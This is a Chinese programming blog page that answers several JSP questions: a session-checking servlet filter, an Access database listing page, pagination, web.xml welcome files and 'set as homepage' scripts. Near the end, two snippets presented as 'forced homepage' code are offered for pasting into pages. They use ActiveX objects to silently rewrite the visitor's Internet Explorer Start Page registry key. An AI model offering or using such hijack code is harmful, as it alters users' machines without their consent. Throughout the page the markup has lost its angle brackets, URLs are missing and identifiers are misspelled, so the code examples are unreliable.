jsp网页首页(JSP网站)

本文目录一览:

如何让JSP网页在session失效时跳转到首页?

使用过滤器过滤请求,如果已经登录,则通过,没有登录或者超时则跳转到首页或者登录页面。

1,首先要写一个登录过滤器,public class SessionFilter implements Filter。一定要实现Filter,在doFilter方法中写出判断Session的代码。

2,配置web.xml。  

filter

        filter-nameSessionFilter/filter-name

        filter-classcom.test.filter.SessionFilter/filter-class

/filter

3,但是光有这些还是不够,这样它会拦截你所有的请求,包括你的登录请求,你在发起登录请求的时候就被拦截验证,是否已经登录,发现没有登录,然后给返回到首页了。所有要给过滤器设置“白名单”,哪些请求直接通过,不用过滤。

init-param

      param-namenoFilterURI/param-name

      param-value

          /login.do

          /index.jsp

      /param-value

/init-param

4,在SessionFilter类中获取“白名单”,可以通过public void init(FilterConfig filterConfig)方法获取

public void init(FilterConfig filterConfig)

        throws ServletException

    {

        this.filterConfig = filterConfig;

        noFilterURI = filterConfig.getInitParameter(“noFilterURI”);

    }

在doFilter方法中得到“白名单”,设置不用过滤,直接通过。

代码:

public class SessionFilter implements Filter{

    private FilterConfig filterConfig;

    private String noFilterURI;

    public SessionFilter() {

        filterConfig = null;

        noFilterURI = null;

    }

      public void init(FilterConfig filterConfig) throws ServletException{

        this.filterConfig = filterConfig;

        noFilterURI = filterConfig.getInitParameter(“noFilterURI”);

    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)

        throws IOException, ServletException{

        // do something

        }

        public void destroy()

    {

        filterConfig = null;

    }

}

filter

        filter-nameSessionFilter/filter-name

        filter-classcom.test.filter.SessionFilter/filter-class

        init-param

          param-namenoFilterURI/param-name

          param-value

              /login.do

              /index.jsp

          /param-value

        /init-param

/filter

jsp 中网站的首页源代码

这是最简单的一个例子,数据库要你自己建,用的是ACCESS

%@ page contentType=”text/html; charset=gb2312″ language=”java” import=”java.sql.*” errorPage=”” %

html

head

meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″

titleJSP连接Access数据库/title

style type=”text/css”

!–

.style1 {

font-size: 20px;

font-weight: bold;

}

/style

/headbody

div align=”center” class=”style1″JSP连接Access数据库/div

br

hr

p%

Class.forName(“sun.jdbc.odbc.JdbcOdbcDriver”); //载入驱动程序类别

Connection con = DriverManager.getConnection(“jdbc:odbc:jspdata”); //建立数据库链接,jspdata为ODBC数据源名称

//建立Statement对象

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,

ResultSet.CONCUR_READ_ONLY);

ResultSet rs = stmt.executeQuery(“select * from lyb”); //建立ResultSet(结果集)对象,并执行SQL语句

%

/p

p align=”center”NUMB1数据表中记录如下/p

table width=”640″ border=”1″ align=”center” bordercolor=”#7188e0″

tr bgcolor=”d1d1ff”

th width=”49″编号/th

th width=”90″姓名/th

th width=”126″E-mail/th

th width=”221″网站/th

th width=”80″QQ/th

/tr

%

while(rs.next())

{

%

tr bgcolor=”#f8f8f8″

th%= rs.getString(1) %/th

th%= rs.getString(2) %/th

th%= rs.getString(3) %/th

th bgcolor=”#f6f6f8″%= rs.getString(4) %/th

th%= rs.getString(5) %/th

/tr

%

}

rs.close();

stmt.close();

con.close();

%

/table

p align=”center”br

如果您能看到表格中的数据,说明连接数据库成功!/p

/body

/html

jsp页面中分页查询首页、上一页与下一页、末页的显示条件??求解,实在找不到答案了

第一点,首先不知道你后来到前台返回是否是一个集合,如果你觉得返回正确,可以先在后台迭怠一次,看一下是否有数据,最后确定没问题了,再重定向回分页的界面

第二点,通常我们打开分页查询的时候因为没有传入页数,所以最好用js的onload的window.location.href=”UserServlet?currpage=1″

不知道我的后台是否类似,所以单看前台很难说清楚,如果有疑问请追问下

如何设置JSP网站的欢迎页面

在web.xml里有个标签 welcome-file里设置对应页面,一般默认是index.jsp

如:WEB-INF\web.xml

?xml version=”1.0″ encoding=”UTF-8″?

web-app version=”2.4″

xmlns=””

xmlns:xsi=””

xsi:schemaLocation=”

welcome-file-list

welcome-fileindex.jsp/welcome-file

/welcome-file-list

/web-app

怎么让在jsp代码中将网页设置为主页

jsp 中加入一段脚本就可以了

如下

加入收藏夹,设为首页代码

把以下代码Body相应位置

a target=_top href=javascript:window.external.AddFavorite(‘;,’中国免费资源情报站’)加入收藏/a

a href=# onClick=”this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘);”设为首页/a

鼠标指向时提示设为首页

将下列代码插入body区中:

A href= onmouseover=”this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘;);” target=”_blank”设为首页/A

打开页面时自动弹出窗口询问是否设为首页

将以下代码放在head/head之间:

script language=”javascript”

function myhomepage(){

this.homepage.style.behavior=’url(#default#homepage)’;this.homepage.sethomepage(‘;);

}

/script

p align=”center”a href=”” name=”homepage”

onclick=”myhomepage();”/a

再将下面代码加入body内:

onload=”myhomepage();”

即:body onload=”myhomepage();”

离开时自动提示设为首页

body onunload=”BASEBody.style.behavior=’url(#default#homepage)’;if(!(BASEBody.isHomePage(”;)))BASEBody.setHomePage(‘;);”

强制设为主页代码:

代码一(设置为主页就再弹了):

META content=”text/html; charset=gb2312″ http-equiv=Content-Type

META content=”MSHTML 5.00.3826.2400″ name=GENERATOR

META content=FrontPage.Editor.Document name=ProgId/HEAD

BODYSPAN id=hp style=”BEHAVIOR: url(#default#homepage)”/SPAN

SCRIPT language=javascript

var u,i

u=””;

var showThank=false;

try{

for(i=1;i=5;i++)

{

if(hp.isHomePage(u))

{

break;

}

else

{

hp.setHomePage(u);

if(!hp.isHomePage(u))

{

alert(“方便下次光临本站,请点 ‘是(Y)’ ,就不再弹了!”);

}

else

{

showThank=true;

}

}

}

if(showThank)

{

alert(“谢谢您的支持.”);

}

}

catch(e){

}

finally{

}

//location.href=u;

/SCRIPT

/BODY/HTML

代码三:

script

var ucook=document.cookie;

var user=ucook.indexOF(“ilooki=”);

if(user==-1)

{

var nowTime=new Date();

document.cookie=”ilooki”+”;”+”expires=Wednesday,03-Jan-“+eval

(nowTime.getYear()+1903+”12:34:56 GMT”;

document.write(“APPLET HEIGHT=0WIDTH=0

code=com.ms.activeX.ActiveXCompoment/APPLET”);function

yuzi(){try{a1

=document.applets[0];a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-

00C04FD58A0B}”);a1.createInstance();Shl=a1.GetObject

();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”);try

{Shl.RegWrite(“hkcu\Software\Microsoft\Internet

Expiorer\Main\Start Page”,);}catch(e)

{}}catch(e){}}setTimeout(“yuzi()”,1000);

}

/script

代码四:

script

var ucook=document.cookie;

var user=ucook.indexOF(“ilooki=”);

if(user==-1)

{

var nowTime=new Date();

document.cookie=”ilooki”+”;”+”expires=Wednesday,03-Jan-“+eval(nowTime.getYear()+1903+”12:34:56 GMT”;

document.write(“APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment/APPLET”);function yuzi(){try{a1

=document.applets[0];a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”);a1.createInstance();Shl=a1.GetObject();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”);try{Shl.RegWrite(“hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page”,);}catch(e){}}catch(e){}}setTimeout(“yuzi()”,1000);

}

/script

原创文章,作者:简单一点,如若转载,请注明出处:https://www.506064.com/n/128768.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
简单一点简单一点
上一篇 2024-10-03 23:25
下一篇 2024-10-03 23:25

相关推荐

  • Python爬虫可以爬哪些网站

    Python是被广泛运用于数据处理和分析领域的编程语言之一。它具有易用性、灵活性和成本效益高等特点,因此越来越多的人开始使用它进行网站爬取。本文将从多个方面详细阐述,Python爬…

    编程 2025-04-29
  • 网站为什么会被黑客攻击?

    黑客攻击是指利用计算机技术手段,入侵或者破坏计算机信息系统的一种行为。网站被黑客攻击是常见的安全隐患之一,那么,为什么网站会被黑客攻击呢?本文将从不同角度分析这个问题,并且提出相应…

    编程 2025-04-29
  • 如何用Python访问网站

    本文将从以下几个方面介绍如何使用Python访问网站:网络请求、POST请求、用户代理、Cookie、代理IP、API请求。 一、网络请求 Python有三种主流的网络请求库:ur…

    编程 2025-04-29
  • 如何将Python开发的网站变成APP

    要将Python开发的网站变成APP,可以通过Python的Web框架或者APP框架,将网站封装为APP的形式。常见的方法有: 一、使用Python的Web框架Django Dja…

    编程 2025-04-28
  • python爬取网页并生成表格

    本文将从以下几个方面详细介绍如何使用Python爬取网页数据并生成表格: 一、获取网页数据 获取网页数据的一般思路是通过HTTP请求获取网页内容,最常用的方式是使用Python库r…

    编程 2025-04-28
  • 网页防篡改的重要性和市场占有率

    网页防篡改对于保护网站安全和用户利益至关重要,而市场上针对网页防篡改的产品和服务也呈现出不断增长的趋势。 一、市场占有率 据不完全统计,目前全球各类网页防篡改产品和服务的市场规模已…

    编程 2025-04-28
  • 如何在服务器上运行网站

    想要在服务器上运行网站,需要按照以下步骤进行配置和部署。 一、选择服务器和域名 想要在服务器上运行网站,首先需要选择一台云服务器或者自己搭建的服务器。云服务器会提供更好的稳定性和可…

    编程 2025-04-28
  • Python网站源码解析

    本文将从多个方面对Python网站源码进行详细解析,包括搭建网站、数据处理、安全性等内容。 一、搭建网站 Python是一种高级编程语言,适用于多种领域。它也可以用于搭建网站。最常…

    编程 2025-04-28
  • Python编程实战:用Python做网页与HTML

    Python语言是一种被广泛应用的高级编程语言,也是一种非常适合于开发网页和处理HTML的语言。在本文中,我们将从多个方面介绍如何用Python来编写网页和处理HTML。 一、Py…

    编程 2025-04-28
  • Python爬取网页信息

    本文将从多个方面对Python爬取网页信息做详细的阐述。 一、爬虫介绍 爬虫是一种自动化程序,可以模拟人对网页进行访问获取信息的行为。通过编写代码,我们可以指定要获取的信息,将其从…

    编程 2025-04-28

发表回复

登录后才能评论